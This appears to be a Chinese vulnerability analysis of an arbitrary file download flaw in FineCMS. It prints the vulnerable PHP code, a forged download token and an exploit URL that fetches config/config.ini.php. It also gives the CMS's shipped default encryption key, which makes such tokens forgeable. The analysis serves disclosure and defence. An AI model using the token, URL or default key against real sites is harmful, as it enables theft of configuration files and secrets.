漏洞文件在D:\wamp\www\controllers\ApiController.php中的downAction函数 ``` /** * 下载文件 */ public function downAction() { $data = fn_authcode(base64_decode($this->get('file')), 'DECODE'); $file = isset($data['finecms']) && $data['finecms'] ? $data['finecms'] : ''; if (empty($file)) { $this->msg(lang('a-mod-213')); } if (strpos($file, ':/')) { //远程 header("Location: $file"); } else { //本地 $file = str_replace('..', '', $file); $file = strpos($file, '/') === 0 ? APP_ROOT.$file : $file; if (!is_file($file)) { $this->msg(lang('a-mod-214') . '(#' . $file . ')'); }; header('Pragma: public'); header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); header('Cache-Control: no-store, no-cache, must-revalidate'); header('Cache-Control: pre-check=0, post-check=0, max-age=0'); header('Content-Transfer-Encoding: binary'); header('Content-Encoding: none'); header('Content-type: ' . strtolower(trim(substr(strrchr($file, '.'), 1, 10)))); header('Content-Disposition: attachment; filename="' ....
漏洞文件在D:\wamp\www\controllers\ApiController.php中的downAction函数 ``` /** * 下载文件 */ public function downAction() { $data = fn_authcode(base64_decode($this->get('file')), 'DECODE'); $file = isset($data['finecms']) && $data['finecms'] ? $data['finecms'] : ''; if (empty($file)) { $this->msg(lang('a-mod-213')); } if (strpos($file, ':/')) { //远程 header("Location: $file"); } else { //本地 $file = str_replace('..', '', $file); $file = strpos($file, '/') === 0 ? APP_ROOT.$file : $file; if (!is_file($file)) { $this->msg(lang('a-mod-214') . '(#' . $file . ')'); }; header('Pragma: public'); header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); header('Cache-Control: no-store, no-cache, must-revalidate'); header('Cache-Control: pre-check=0, post-check=0, max-age=0'); header('Content-Transfer-Encoding: binary'); header('Content-Encoding: none'); header('Content-type: ' . strtolower(trim(substr(strrchr($file, '.'), 1, 10)))); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-length: ' . sprintf("%u", filesize($file))); readfile($file); exit; } } ``` 其中这一行 ``` $data = fn_authcode(base64_decode($this->get('file')), 'DECODE'); ``` 获取变量file,然后解密,然后经过处理,进行文件下载,这里只要关注file变量可控即可 加密生成变量file的函数在D:\wamp\www\extensions\function.php中 ``` /** * 下载文件函数 */ function downfile($url) { return url('api/down', array('file' => str_replace('=', '', base64_encode(fn_authcode(array('finecms' => $url), 'ENCODE'))))); } ``` 如果我们想下载config/config.ini.php文件,则本地调用即可, echo downfile('config/config.ini.php'); 生成加密后的file变量  file变量为 ``` file=MDI3Y1BkSEpCVUwrRGtWOFNtZHh3OVF4TCs0ZnFCRmNyanU5RHRoV2NNTldxZURGdDVRY2pxZEdpYUVkS2NqRzMvczNhVEl6NVcwdTVwZmJaRmpxSk04Vkxab3FkL3Q1eVEvMnJqZkY ``` 然后再访问 ``` http://localhost/code//index.php?c=api&a=down&file=MDI3Y1BkSEpCVUwrRGtWOFNtZHh3OVF4TCs0ZnFCRmNyanU5RHRoV2NNTldxZURGdDVRY2pxZEdpYUVkS2NqRzMvczNhVEl6NVcwdTVwZmJaRmpxSk04Vkxab3FkL3Q1eVEvMnJqZkY ```  则可以任意下载了 <br> #### update 2017.1.20 by zjp(知道创宇404安全实验室) 原分析的文档里遗漏了关键部分的代码分析(感谢phithon牛的提醒),于是我们继续分析跟进。关键函数`fn_authcode`代码位于:`/extensions/function.php` ``` ➜ FineCMS grep -r "function fn_authcode" ./ .//extensions/function.php-90-/** .//extensions/function.php-91- * authcode函数(用于数组) .//extensions/function.php-92- */ .//extensions/function.php:93:function fn_authcode($data, $operation = 'DECODE', $key = '', $expiry = 0) { .//extensions/function.php-94-$ckey_length = 4; .//extensions/function.php-95-$string= $operation == 'DECODE' ? $data : array2string($data); .//extensions/function.php-96-$key= md5($key ? $key : SITE_MEMBER_COOKIE); ``` 代码如下: ```php function fn_authcode($data, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $string= $operation == 'DECODE' ? $data : array2string($data); $key= md5($key ? $key : SITE_MEMBER_COOKIE); $keya= md5(substr($key, 0, 16)); $keyb= md5(substr($key, 16, 16)); $keyc= $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey= $keya . md5($keya . $keyc); $key_length = strlen($cryptkey); $string= $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string; $string_length= strlen($string); $result = ''; $box= range(0, 255); $rndkey = array(); for($i= 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) { return string2array(substr($result, 26)); } else { return ''; } } else { return $keyc . str_replace('=', '', base64_encode($result)); } } ``` 注意里面的 ```php $key = md5($key ? $key : SITE_MEMBER_COOKIE); //如果没有设置$key 就会取SITE_MEMBER_COOKIE ``` 继续跟进SITE_MEMBER_COOKIE: ``` ➜ FineCMS grep -r "SITE_MEMBER_COOKIE" ./ .//config/config.ini.php-14-'SYS_LOG' => false, //程序运行日志开关,日志目录(项目目录/logs/) .//config/config.ini.php-15-'SYS_VAR_PREX' => 'finecms_b1bf4_', //Sessoin、Cookie变量前缀 .//config/config.ini.php-16-'SYS_GZIP' => false, //是否Gzip压缩后输出 .//config/config.ini.php:17:'SITE_MEMBER_COOKIE' => '2967e68d382902a', //Cookie随机字符串 .//config/config.ini.php-18-'SESSION_COOKIE_DOMAIN' => '', //多站点会员登录状态跨域保存域名,格式如.finecms.net(只针对多站点域名全是二级域名否则请留空) .//config/config.ini.php-19-'SYS_EDITOR' => 'ueditor', //系统编辑器设置,默认kindeditor(自定义编辑器直接填写目录名称,如ueditor) .//config/config.ini.php-20-'SYS_CAPTCHA_MODE' => '0', //验证码输出模式:0,普通模式;1,兼容模式,若验证码显示不正常可在此调整输出模式 ``` 使用了默认值`'2967e68d382902a'`,所以我们可以得出如下结论: `fn_authcode`函数生成的字符串在key默认情况下,只与`SITE_MEMBER_COOKIE`的值有关,属于默认配置问题。使用相同的SITE_MEMBER_COOKIE会导致文中所说的任意文件下载(线上有不少案例),当然理论上这个值也可以进行爆破的(:з」∠)。 目前官方下载的 Finecms 的`SITE_MEMBER_COOKIE`默认设置为`2967e68d382902a` 另外我们注意到ucenter的`$cookiecode`也是使用的默认,可能导致类似的安全问题 ``` ➜ FineCMS grep -r "2967e68d382902a" ./ .//config/config.ini.php-14-'SYS_LOG' => false, //程序运行日志开关,日志目录(项目目录/logs/) .//config/config.ini.php-15-'SYS_VAR_PREX' => 'finecms_b1bf4_', //Sessoin、Cookie变量前缀 .//config/config.ini.php-16-'SYS_GZIP' => false, //是否Gzip压缩后输出 .//config/config.ini.php:17:'SITE_MEMBER_COOKIE' => '2967e68d382902a', //Cookie随机字符串 .//config/config.ini.php-18-'SESSION_COOKIE_DOMAIN' => '', //多站点会员登录状态跨域保存域名,格式如.finecms.net(只针对多站点域名全是二级域名否则请留空) .//config/config.ini.php-19-'SYS_EDITOR' => 'ueditor', //系统编辑器设置,默认kindeditor(自定义编辑器直接填写目录名称,如ueditor) .//config/config.ini.php-20-'SYS_CAPTCHA_MODE' => '0', //验证码输出模式:0,普通模式;1,兼容模式,若验证码显示不正常可在此调整输出模式 -- -- .//extensions/ucenter/config.inc.php-39-$cookiedomain = ''; .//extensions/ucenter/config.inc.php-40-$cookiepath = '/'; .//extensions/ucenter/config.inc.php-41-$cookiepre = 'finecms_b1bf4_'; .//extensions/ucenter/config.inc.php:42:$cookiecode = '2967e68d382902a'; .//extensions/ucenter/config.inc.php-43-?> ```